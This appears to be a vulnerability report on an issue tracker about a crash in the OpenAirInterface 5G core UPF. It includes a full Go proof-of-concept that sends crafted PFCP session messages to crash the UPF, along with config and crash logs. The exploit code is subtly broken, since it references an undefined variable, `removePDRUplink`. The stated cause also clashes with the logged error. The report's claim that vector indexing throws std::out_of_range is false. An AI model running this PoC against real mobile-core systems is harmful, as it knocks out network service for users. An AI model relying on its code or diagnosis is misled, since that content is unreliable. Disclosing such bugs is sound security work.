Skip to content

[Bug] UPF crash on PFCP Session Modification Request when removing all uplink PDRs

OAI-CN-5G Release, Revision, or Tag

Description

When the UPF receives a PFCP Session Modification Request that removes all uplink PDRs (Packet Detection Rules) from an existing session while only adding downlink PDRs, it crashes due to an out-of-bounds vector access in SessionManager.cpp:474.

The crash occurs in the modifyBpfSession() function when it attempts to access pdrs_uplink[0] without checking if the pdrs_uplink vector is empty. After removing all uplink PDRs, the vector becomes empty, but the code only checks if pdrs_uplink_size != pdrs_uplink.size() (which evaluates to true when size changes from 1 to 0) without verifying that the vector is non-empty before accessing its first element.

config

config.yaml

      
################################################################################ # Licensed to the OpenAirInterface (OAI) Software Alliance under one or more # contributor license agreements.  See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The OpenAirInterface Software Alliance licenses this file to You under # the OAI Public License, Version 1.1  (the "License"); you may not use this file # except in compliance with the License. # You may obtain a copy of the License at # #      http://www.openairinterface.org/?page_id=698 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. #------------------------------------------------------------------------------- # For more information about the OpenAirInterface (OAI) Software Alliance: #      contact@openairinterface.org ################################################################################  # OAI CN Configuration File ### This file can be used by all OAI NFs ### Some fields are specific to an NF and will be ignored by other NFs ### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file ### If you intend to mount this file or use a bare-metal deployment, please refer to README.md ### The README.md also defines default values and allowed values for each configuration parameter  ############# Common configuration  # Log level for all the NFs log_level:   general: debug  # If you enable registration, the other NFs will use the NRF discovery mechanism register_nf:   general: yes    http_version: 2  ############## SBI Interfaces ### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms nfs:   amf:     host: oai-amf     sbi:       port: 8080       api_version: v1       interface_name: eth0     n2:       interface_name: eth0       port: 38412   smf:     host: oai-smf     sbi:       port: 8080       api_version: v1       interface_name: eth0     n4:       interface_name: eth0       port: 8805   upf:     host: oai-upf     sbi:       port: 8080       api_version: v1       interface_name: eth1     n3:       interface_name: eth0       port: 2152     n4:       interface_name: eth0       port: 8805     n6:       interface_name: eth1     n9:       interface_name: eth0       port: 2152   udm:     host: oai-udm     sbi:       port: 8080       api_version: v1       interface_name: eth0   udr:     host: oai-udr     sbi:       port: 8080       api_version: v1       interface_name: eth0   ausf:     host: oai-ausf     sbi:       port: 8080       api_version: v1       interface_name: eth0   nrf:     host: oai-nrf     sbi:       port: 8080       api_version: v1       interface_name: eth0  #### Common for UDR and AMF database:   host: mysql   user: test   type: mysql   password: test   database_name: oai_db   generate_random: true   connection_timeout: 300 # seconds  ## general single_nssai configuration ## Defines YAML anchors, which are reused in the config file snssais:   - &embb_slice     sst: 1  ############## NF-specific configuration amf:   pid_directory: "/var/run"   amf_name: "OAI-AMF"   # This really depends on if we want to keep the "mini" version or not   support_features_options:     enable_simple_scenario: no     enable_nssf: no     enable_smf_selection: yes     use_external_udm: no   relative_capacity: 30   statistics_timer_interval: 20  #in seconds   emergency_support: false   served_guami_list:     - mcc: 001       mnc: 01       amf_region_id: 01       amf_set_id: 001       amf_pointer: 01   plmn_support_list:     - mcc: 001       mnc: 01       tac: 0x0001       nssai:         - *embb_slice   supported_integrity_algorithms:     - "NIA1"     - "NIA2"   supported_encryption_algorithms:     - "NEA0"     - "NEA1"     - "NEA2"  smf:   ue_mtu: 1500   support_features:     use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM     use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF   # we resolve from NRF, this is just to configure usage_reporting   upfs:     - host: oai-upf       config:         enable_usage_reporting: no   ue_dns:     primary_ipv4: "1.1.1.1"     primary_ipv6: "2001:4860:4860::8888"     secondary_ipv4: "8.8.8.8"     secondary_ipv6: "2001:4860:4860::8888"   ims:     pcscf_ipv4: "192.168.70.139"     pcscf_ipv6: "fe80::7915:f408:1787:db8b"   # the DNN you configure here should be configured in "dnns"   # follows the SmfInfo datatype from 3GPP TS 29.510   smf_info:     sNssaiSmfInfoList:       - sNssai: *embb_slice         dnnSmfInfoList:           - dnn: "oai"           - dnn: "openairinterface"           - dnn: "ims"           - dnn: "default"   local_subscription_infos:     - single_nssai: *embb_slice       dnn: "oai"       qos_profile:         5qi: 9         session_ambr_ul: "10Gbps"         session_ambr_dl: "10Gbps"     - single_nssai: *embb_slice       dnn: "openairinterface"       qos_profile:         5qi: 9         session_ambr_ul: "10Gbps"         session_ambr_dl: "10Gbps"     - single_nssai: *embb_slice       dnn: "ims"       qos_profile:         5qi: 9         session_ambr_ul: "10Gbps"         session_ambr_dl: "10Gbps"     - single_nssai: *embb_slice       dnn: "default"       qos_profile:         5qi: 9         session_ambr_ul: "10Gbps"         session_ambr_dl: "10Gbps"  upf:   support_features:     enable_bpf_datapath: yes    # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off     enable_snat: yes           # If "on": Source natting is done for UE, DEFAULT= off   remote_n6_gw: 127.0.0.1      # Dummy host since simple-switch does not use N6 GW   smfs:     - host: oai-smf            # To be used for PFCP association in case of no-NRF   upf_info:     sNssaiUpfInfoList:       - sNssai: *embb_slice         dnnUpfInfoList:           - dnn: "oai"           - dnn: "openairinterface"           - dnn: "ims"           - dnn: "default"  ## DNN configuration dnns:   - dnn: "oai"     pdu_session_type: "IPV4"     ipv4_subnet: "10.0.0.0/24"   - dnn: "openairinterface"     pdu_session_type: "IPV4V6"     ipv4_subnet: "10.0.1.0/24"     ipv6_prefix: "2001:1:2::/64"   - dnn: "ims"     pdu_session_type: "IPV4V6"     ipv4_subnet: "10.0.9.0/24"     ipv6_prefix: "2001:1:2::/64"   - dnn: "default"     pdu_session_type: "IPV4V6"     ipv4_subnet: "10.0.255.0/24"     ipv6_prefix: "2001:1:2::/64" `

Steps to reproduce

  1. Start a new go project inside a new folder: go mod init poc
  2. Create a main.go and paste the code below:
package main

import (
	"encoding/hex"
	"flag"
	"fmt"
	"log"
	"math/rand"
	"net"
	"time"

	"github.com/wmnsk/go-pfcp/ie"
	"github.com/wmnsk/go-pfcp/message"
)

const (
	defaultPFCPPort = 8805
	defaultTimeout  = 5 * time.Second
)

type vectorOOBUplinkClient struct {
	nodeIP net.IP
	cpSeid uint64
	seq    uint32
}

func (c *vectorOOBUplinkClient) nextSeq() uint32 {
	c.seq++
	if c.seq == 0 || c.seq > 0x00ffffff {
		c.seq = 1
	}
	return c.seq
}

func (c *vectorOOBUplinkClient) baseSessIEs(dnn string) []*ie.IE {
	return []*ie.IE{
		ie.NewNodeID(c.nodeIP.String(), "", ""),
		ie.NewFSEID(c.cpSeid, c.nodeIP, nil),
		ie.NewPDNType(ie.PDNTypeIPv4),
	}
}

func (c *vectorOOBUplinkClient) sendAssociation(conn *net.UDPConn) error {
	req := message.NewAssociationSetupRequest(
		c.nextSeq(),
		ie.NewNodeID(c.nodeIP.String(), "", ""),
		ie.NewRecoveryTimeStamp(time.Now()),
		ie.NewCPFunctionFeatures(0x3f),
	)
	payload, err := req.Marshal()
	if err != nil {
		return fmt.Errorf("marshal association: %w", err)
	}
	if _, err := conn.Write(payload); err != nil {
		return fmt.Errorf("send association: %w", err)
	}
	log.Printf("Sent Association Setup Request")
	time.Sleep(500 * time.Millisecond)
	return nil
}

func (c *vectorOOBUplinkClient) buildValidSession(dnn string) (*message.SessionEstablishmentRequest, error) {
	pdrUplink := ie.NewCreatePDR(
		ie.NewPDRID(1),
		ie.NewPrecedence(32),
		ie.NewPDI(
			ie.NewSourceInterface(ie.SrcInterfaceAccess),       // Uplink (Access = 0)
			ie.NewNetworkInstance(dnn),                         
			ie.NewFTEID(0x01, 0, net.IPv4(0, 0, 0, 0), nil, 0), 
		),
		ie.NewFARID(1), 
	)


	farUplink := ie.NewCreateFAR(
		ie.NewFARID(1),          
		ie.NewApplyAction(0x02), 
		ie.NewForwardingParameters(
			ie.NewDestinationInterface(ie.DstInterfaceCore), // Core = 1
		),
	)

	payload := append([]*ie.IE{}, c.baseSessIEs(dnn)...)
	payload = append(payload, pdrUplink, farUplink)

	return message.NewSessionEstablishmentRequest(0, 0, c.cpSeid, c.nextSeq(), 0, payload...), nil
}

func (c *vectorOOBUplinkClient) buildSessionModificationRemoveUplinkPDRs(upfSeid uint64) (*message.SessionModificationRequest, error) {
	createPDRDownlink := ie.NewCreatePDR(
		ie.NewPDRID(3),
		ie.NewPrecedence(32),
		ie.NewPDI(
			ie.NewSourceInterface(ie.SrcInterfaceCore), // Downlink (Core = 1)
			ie.NewNetworkInstance("internet"),          // Network Instance 在 PDI 中
		),
		ie.NewFARID(2), 
	)

	
	createFARDownlink := ie.NewCreateFAR(
		ie.NewFARID(2),          
		ie.NewApplyAction(0x02),
		ie.NewForwardingParameters(
			ie.NewDestinationInterface(ie.DstInterfaceAccess), // Access = 0
		),
	)

	return message.NewSessionModificationRequest(
		0, 0, upfSeid, c.nextSeq(), 0,
		ie.NewFSEID(c.cpSeid, c.nodeIP, nil),
		removePDRUplink,   
		createPDRDownlink, 
		createFARDownlink, 
	), nil
}

func extractSEIDFromRaw(raw []byte) (uint64, error) {
	if len(raw) < 8 {
		return 0, fmt.Errorf("message too short")
	}

	
	hasSEID := (raw[0] & 0x01) != 0
	if !hasSEID {
		return 0, fmt.Errorf("message does not contain SEID")
	}

	if len(raw) < 12 {
		return 0, fmt.Errorf("message too short for SEID")
	}

	seid := uint64(raw[4])<<56 | uint64(raw[5])<<48 | uint64(raw[6])<<40 | uint64(raw[7])<<32 |
		uint64(raw[8])<<24 | uint64(raw[9])<<16 | uint64(raw[10])<<8 | uint64(raw[11])

	return seid, nil
}

func parseSessionEstablishmentResponse(raw []byte) (uint64, error) {

	for i := 0; i < len(raw)-4; i++ {
		if raw[i] == 0x00 && raw[i+1] == 0x39 {
			if i+12 < len(raw) {
				ieLength := uint16(raw[i+2])<<8 | uint16(raw[i+3])
				if i+4+int(ieLength) <= len(raw) {

					seid := uint64(raw[i+5])<<56 | uint64(raw[i+6])<<48 | uint64(raw[i+7])<<40 | uint64(raw[i+8])<<32 |
						uint64(raw[i+9])<<24 | uint64(raw[i+10])<<16 | uint64(raw[i+11])<<8 | uint64(raw[i+12])
					log.Printf("Extracted UPF SEID from F-SEID IE: 0x%x", seid)
					return seid, nil
				}
			}
		}
	}

	msg, err := message.Parse(raw)
	if err != nil {
		if seid, err2 := extractSEIDFromRaw(raw); err2 == nil {
			log.Printf("Extracted UPF SEID from message header: 0x%x", seid)
			return seid, nil
		}
		return 0, fmt.Errorf("parse PFCP message: %w", err)
	}

	msgType := msg.MessageType()
	msgTypeName := msg.MessageTypeName()

	log.Printf("Received PFCP message: Type=%d (%s)", msgType, msgTypeName)

	if msgType == 6 || msgTypeName == "SessionEstablishmentResponse" || msgTypeName == "Association Setup Response" {
		if resp, ok := msg.(*message.SessionEstablishmentResponse); ok {
			if resp.UPFSEID != nil {
				fseid, err := resp.UPFSEID.FSEID()
				if err == nil {
					return fseid.SEID, nil
				}
			}
			if seid, err2 := extractSEIDFromRaw(raw); err2 == nil {
				log.Printf("Extracted UPF SEID manually: 0x%x", seid)
				return seid, nil
			}
		}
	}

	if msgType != message.MsgTypeSessionEstablishmentResponse && msgType != 6 {
		if resp, ok := msg.(*message.SessionEstablishmentResponse); ok {
			if resp.Cause != nil {
				cause, err := resp.Cause.Cause()
				if err == nil {
					return 0, fmt.Errorf("session establishment rejected: cause=%d (message type=%d, %s)", cause, msgType, msgTypeName)
				}
			}
			return 0, fmt.Errorf("unexpected PFCP message type %d (%s), expected SessionEstablishmentResponse (5)", msgType, msgTypeName)
		}

		if msgType == message.MsgTypeSessionModificationResponse {
			if modResp, ok := msg.(*message.SessionModificationResponse); ok {
				if modResp.Cause != nil {
					cause, err := modResp.Cause.Cause()
					if err == nil {
						return 0, fmt.Errorf("received Session Modification Response instead of Session Establishment Response: cause=%d", cause)
					}
				}
			}
		}

		return 0, fmt.Errorf("unexpected PFCP message type %d (%s), expected SessionEstablishmentResponse (5). UPF may have rejected the request or sent wrong message type", msgType, msgTypeName)
	}

	resp, ok := msg.(*message.SessionEstablishmentResponse)
	if !ok {
		if seid, err2 := extractSEIDFromRaw(raw); err2 == nil {
			log.Printf("Extracted UPF SEID manually (type conversion failed): 0x%x", seid)
			return seid, nil
		}
		return 0, fmt.Errorf("failed to cast message to SessionEstablishmentResponse (type=%d, %s)", msgType, msgTypeName)
	}

	if resp.Cause != nil {
		cause, err := resp.Cause.Cause()
		if err == nil && cause != 1 { // 1 = Request accepted
			return 0, fmt.Errorf("session establishment failed: cause=%d", cause)
		}
	}

	if resp.UPFSEID == nil {
		if seid, err2 := extractSEIDFromRaw(raw); err2 == nil {
			log.Printf("Extracted UPF SEID manually (UPFSEID IE missing): 0x%x", seid)
			return seid, nil
		}
		if resp.Cause != nil {
			cause, err := resp.Cause.Cause()
			if err == nil {
				return 0, fmt.Errorf("session establishment failed: cause=%d (missing UPF SEID IE)", cause)
			}
		}
		return 0, fmt.Errorf("missing UPF SEID IE in response")
	}
	fseid, err := resp.UPFSEID.FSEID()
	if err != nil {
		if seid, err2 := extractSEIDFromRaw(raw); err2 == nil {
			log.Printf("Extracted UPF SEID manually (FSEID extraction failed): 0x%x", seid)
			return seid, nil
		}
		return 0, fmt.Errorf("extract UPF SEID: %w", err)
	}
	return fseid.SEID, nil
}

func main() {
	var (
		target    = flag.String("target", "127.0.0.1:8805", "UPF PFCP endpoint")
		nodeIPStr = flag.String("node-ip", "10.0.0.1", "Local NodeID IPv4")
		dnn       = flag.String("dnn", "internet", "Network Instance / DNN")
		dump      = flag.Bool("dump", false, "Dump crafted PFCP bytes")
		upfSeid   = flag.Uint64("upf-seid", 0, "UPF SEID (skip session establishment if provided)")
	)
	flag.Parse()

	nodeIP := net.ParseIP(*nodeIPStr)
	if nodeIP == nil {
		log.Fatalf("invalid node-ip: %s", *nodeIPStr)
	}

	addr, err := net.ResolveUDPAddr("udp", *target)
	if err != nil {
		log.Fatalf("resolve UDP addr: %v", err)
	}

	conn, err := net.DialUDP("udp", nil, addr)
	if err != nil {
		log.Fatalf("dial PFCP: %v", err)
	}
	defer conn.Close()

	rand.Seed(time.Now().UnixNano())
	cpSeid := uint64(rand.Uint32())<<32 | uint64(rand.Uint32())
	client := &vectorOOBUplinkClient{
		nodeIP: nodeIP,
		cpSeid: cpSeid,
		seq:    uint32(rand.Intn(0x00ffffff)),
	}

	if err := client.sendAssociation(conn); err != nil {
		log.Printf("association setup failed: %v", err)
	}

	conn.SetReadDeadline(time.Now().Add(2 * time.Second))
	assocBuf := make([]byte, 2048)
	if n, err := conn.Read(assocBuf); err == nil {
		log.Printf("Received Association Setup Response (%d bytes)", n)
	} else {
		log.Printf("No Association Setup Response received (continuing anyway): %v", err)
	}
	time.Sleep(500 * time.Millisecond)

	var upfSeidValue uint64
	if *upfSeid != 0 {
		upfSeidValue = *upfSeid
		log.Printf("Using provided UPF SEID: 0x%x", upfSeidValue)
		log.Printf("Skipping Session Establishment Request")
	} else {
		estReq, err := client.buildValidSession(*dnn)
		if err != nil {
			log.Fatalf("build session: %v", err)
		}
		payload, err := estReq.Marshal()
		if err != nil {
			log.Fatalf("marshal session: %v", err)
		}
		if *dump {
			fmt.Printf("Session Establishment Request (%d bytes):\n%s\n", len(payload), hex.Dump(payload))
		}
		if _, err := conn.Write(payload); err != nil {
			log.Fatalf("send session: %v", err)
		}
		log.Printf("Sent Session Establishment Request (F-SEID=0x%x)", client.cpSeid)
		log.Printf("  - PDR 1: Uplink (Source Interface = Access)")
		log.Printf("  - Strategy: Only create uplink PDR (no downlink PDR)")

		conn.SetReadDeadline(time.Now().Add(10 * time.Second))
		buf := make([]byte, 2048)
		n, err := conn.Read(buf)
		if err != nil {
			log.Printf("ERROR: Failed to read session response: %v", err)
			log.Printf("This may indicate:")
			log.Printf("  1. UPF crashed during session establishment (check UPF logs)")
			log.Printf("  2. Network timeout")
			log.Printf("  3. UPF rejected the request silently")
			log.Printf("HINT: You can manually provide UPF SEID using -upf-seid flag")
			log.Printf("      Example: go run poc_vector_oob_uplink.go -target %s -upf-seid 0x1234567890abcdef", *target)
			log.Fatalf("Cannot proceed without UPF SEID")
		}

		if *dump {
			fmt.Printf("Session Establishment Response (%d bytes):\n%s\n", n, hex.Dump(buf[:n]))
		} else {
			log.Printf("Raw response (%d bytes):\n%s", n, hex.Dump(buf[:n]))
		}
		upfSeidValue, err = parseSessionEstablishmentResponse(buf[:n])
		if err != nil {
			log.Printf("WARNING: Failed to parse session response: %v", err)
			log.Printf("Attempting to extract SEID from raw message...")
			if len(buf) >= 12 && (buf[0]&0x01) != 0 {
				seid := uint64(buf[4])<<56 | uint64(buf[5])<<48 | uint64(buf[6])<<40 | uint64(buf[7])<<32 |
					uint64(buf[8])<<24 | uint64(buf[9])<<16 | uint64(buf[10])<<8 | uint64(buf[11])
				log.Printf("Extracted SEID from message header: 0x%x", seid)
				upfSeidValue = seid
				err = nil
			} else {
				log.Printf("HINT: You can manually provide UPF SEID using -upf-seid flag")
				log.Printf("      Example: go run poc_vector_oob_uplink.go -target %s -upf-seid 0x1234567890abcdef", *target)
				log.Fatalf("Cannot proceed without UPF SEID")
			}
		}
		if err == nil {
			log.Printf("✓ Successfully extracted UPF SEID: 0x%x", upfSeidValue)
		}
		time.Sleep(500 * time.Millisecond)
	}

	log.Printf("")
	log.Printf("=== Triggering Uplink Vector OOB ===")
	log.Printf("Strategy: Remove all uplink PDRs, only add downlink PDRs")
	log.Printf("Expected: pdrs_uplink becomes empty, but size check passes")
	log.Printf("Crash point: SessionManager.cpp:474 - pdrs_uplink[0] on empty vector")

	modReq, err := client.buildSessionModificationRemoveUplinkPDRs(upfSeidValue)
	if err != nil {
		log.Fatalf("build modification: %v", err)
	}
	payload, err := modReq.Marshal()
	if err != nil {
		log.Fatalf("marshal modification: %v", err)
	}
	if *dump {
		fmt.Printf("Session Modification Request (Remove Uplink PDRs) (%d bytes):\n%s\n", len(payload), hex.Dump(payload))
	}
	if _, err := conn.Write(payload); err != nil {
		log.Fatalf("send modification: %v", err)
	}
	log.Printf("[VECTOR_OOB_UPLINK] Sent Session Modification Request")
	log.Printf("  - Remove PDR 1 (Uplink)")
	log.Printf("  - Create PDR 3 (Downlink only)")
	log.Printf("  - Create FAR 2 (for Downlink PDR)")
	log.Printf("Expected: UPF crashes when accessing pdrs_uplink[0] on empty vector")
	log.Printf("Crash type: std::out_of_range (uncaught) at SessionManager.cpp:474")


	conn.SetReadDeadline(time.Now().Add(defaultTimeout))
	buf := make([]byte, 2048)
	n, err := conn.Read(buf)
	if err != nil {
		log.Printf("No response received (UPF may have crashed): %v", err)
		log.Printf("✓ Uplink vector OOB crash likely triggered!")
	} else {
		log.Printf("Received response: %d bytes (UPF survived)", n)
		if *dump {
			fmt.Printf("Response:\n%s\n", hex.Dump(buf[:n]))
		}
		log.Printf("⚠ UPF did not crash - may need to adjust POC")
	}
}
  1. Download required libraries: go mod tidy
  2. Run the program with the upf pfcp server address: `go run main.go -target 192.168.70.134:8805`

Logs

[2025-12-10 18:14:35.936] [upf_n4 ] [info] handle_receive(30 bytes)
[2025-12-10 18:14:35.936] [upf_n4 ] [info] Handle SX ASSOCIATION SETUP REQUEST
[2025-12-10 18:14:36.937] [upf_n4 ] [info] handle_receive(133 bytes)
[2025-12-10 18:14:36.937] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0x2c1cd946f96f3c7 
[2025-12-10 18:14:36.937] [upf_n4 ] [info] pfcp_session::add(far) seid 0x4 
[2025-12-10 18:14:36.937] [upf_n4 ] [info] TEID received from CP
[2025-12-10 18:14:36.937] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x4 
[2025-12-10 18:14:36.937] [upf_app] [info] Establish datapath: create(pdr(s) & far(s))
[2025-12-10 18:14:36.937] [upf_app] [debug] sessionManager::createBpfSession() seid 0x4 
[2025-12-10 18:14:36.937] [upf_app] [debug] Processing PDR 1 on establishment
[2025-12-10 18:14:36.937] [upf_app] [warning] UE IP Address is missing for PDR 1
[2025-12-10 18:14:36.937] [upf_app] [debug] The key is updated in the map: m_session_mapping
[2025-12-10 18:14:36.937] [upf_app] [debug] Missing qer for pdr 1
[2025-12-10 18:14:36.937] [upf_app] [debug] The key is updated in the map: m_rules_match_pdr
[2025-12-10 18:14:36.937] [upf_app] [debug] SDF Filter Lengh (0)
[2025-12-10 18:14:36.937] [upf_app] [debug] The key is updated in the map: m_session_pdrs
[2025-12-10 18:14:36.937] [upf_app] [debug] Session seid 0x4 successfully created

+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| PFCP switch Packet Detection Rule list ordered by established sessions:                                                                                                                          |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|  SEID          |pdr |  far   |predence|   action   |        create outer hdr         tun id| rmv outer hdr  tun id|    UE IPv4     |                                                             |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|0000000000000001|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000002|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000003|0003|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000004|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

[2025-12-10 18:14:36.937] [upf_app] [debug] (upf_n6_ip, dn_ip ) : (192.168.70.240, 127.0.0.1) For PDR 1
[2025-12-10 18:14:36.937] [upf_app] [debug]  same subnet
[2025-12-10 18:14:36.938] [upf_app] [error] Error: The ARP table was not updated for N6 Next HOP
[2025-12-10 18:14:37.439] [upf_n4 ] [info] handle_receive(116 bytes)
[2025-12-10 18:14:37.439] [upf_app] [info] Received N4_SESSION_MODIFICATION_REQUEST seid 0x4 
[2025-12-10 18:14:37.439] [pfcp_switch] [warning] TODO check carrefully update fseid in PFCP_SESSION_MODIFICATION_REQUEST
[2025-12-10 18:14:37.439] [upf_app] [info] Modify datapath:remove(pdr)
[2025-12-10 18:14:37.439] [upf_app] [debug] sessionManager::modifyBpfSession() seid 0x4 
[2025-12-10 18:14:37.439] [upf_app] [debug] modifyBpfSession:: add(pdr)
[2025-12-10 18:14:37.439] [upf_app] [debug] Retrieving teid from session seid 0x4 
[2025-12-10 18:14:37.439] [upf_app] [warning] No valid teid found for session seid 0x4 
[2025-12-10 18:14:37.439] [upf_app] [debug] modifyBpfSession:: add(far)
[2025-12-10 18:14:37.439] [upf_app] [debug] Delete pdr
[2025-12-10 18:14:37.439] [upf_app] [debug] pdr and far map entries are obsolete and need to be deleted
[2025-12-10 18:14:37.439] [upf_app] [debug] Remove PDR with id 1
[2025-12-10 18:14:37.439] [upf_app] [debug] Found PDR with id 1 in list 'pdrs'
[2025-12-10 18:14:37.439] [upf_n4 ] [info] pfcp_session::remove(pdr) seid 0x4 
[2025-12-10 18:14:37.439] [upf_n4 ] [info] pfcp_session::add(far) seid 0x4 
[2025-12-10 18:14:37.439] [upf_n4 ] [info] Could not create_packet_in_access, cause accept only IPv4 UE IP address! Rejecting PFCP_XXX_REQUEST
[2025-12-10 18:14:37.439] [upf_app] [info] Modify datapath
[2025-12-10 18:14:37.439] [upf_app] [debug] sessionManager::modifyBpfSession() seid 0x4 
[2025-12-10 18:14:37.439] [upf_app] [debug] modifyBpfSession:: add(pdr)
[2025-12-10 18:14:37.439] [upf_app] [error] No pdr found in session seid 0x4 
[2025-12-10 18:14:37.439] [upf_app] [debug] There are some programs in LINKED state
[2025-12-10 18:14:37.439] [upf_app] [debug] BPF program xdp_handle_uplink is in a HOOKED state
terminate called after throwing an instance of 'std::runtime_error'
  what():  Session modification failed: No pdr found.
[2025-12-10 18:14:37.439] [upf_app] [info] BPF program xdp_handle_uplink unlink to 2 interface
[2025-12-10 18:14:37.439] [upf_app] [debug] BPF program xdp_handle_shaping are not link to any interface
[2025-12-10 18:14:37.439] [upf_app] [debug] BPF program xdp_handle_downlink is in a HOOKED state
[2025-12-10 18:14:37.439] [upf_app] [info] BPF program xdp_handle_downlink unlink to 3 interface
[2025-12-10 18:14:37.439] [system ] [info] Caught signal 11
[2025-12-10 18:14:37.439] [common] [info] Waiting ITTI tasks closed
[2025-12-10 18:14:37.439] [asc_cmd] [info] Received terminate message
[2025-12-10 18:14:37.439] [upf_n4 ] [info] Received terminate message
terminate called recursively

Expected Behaviour

The UPF should handle Session Modification Requests that remove all uplink PDRs gracefully. When pdrs_uplink becomes empty, the code should either:

  1. Skip processing uplink PDRs if the vector is empty, or
  2. Handle the empty vector case appropriately without crashing

The UPF should continue operating normally and send a proper PFCP Session Modification Response, even when a session modification results in an empty uplink PDR vector.

Observed Behaviour

When a Session Modification Request removes all uplink PDRs (e.g., Remove PDR with ID 1) and only adds downlink PDRs, the UPF crashes with one of the following:

  1. Uncaught std::out_of_range exception: When accessing pdrs_uplink[0] on an empty vector, C++ standard library throws std::out_of_range which is not caught, causing the process to terminate.
  2. Direct memory access violation: In some cases, the out-of-bounds access may cause a SIGSEGV (segmentation fault).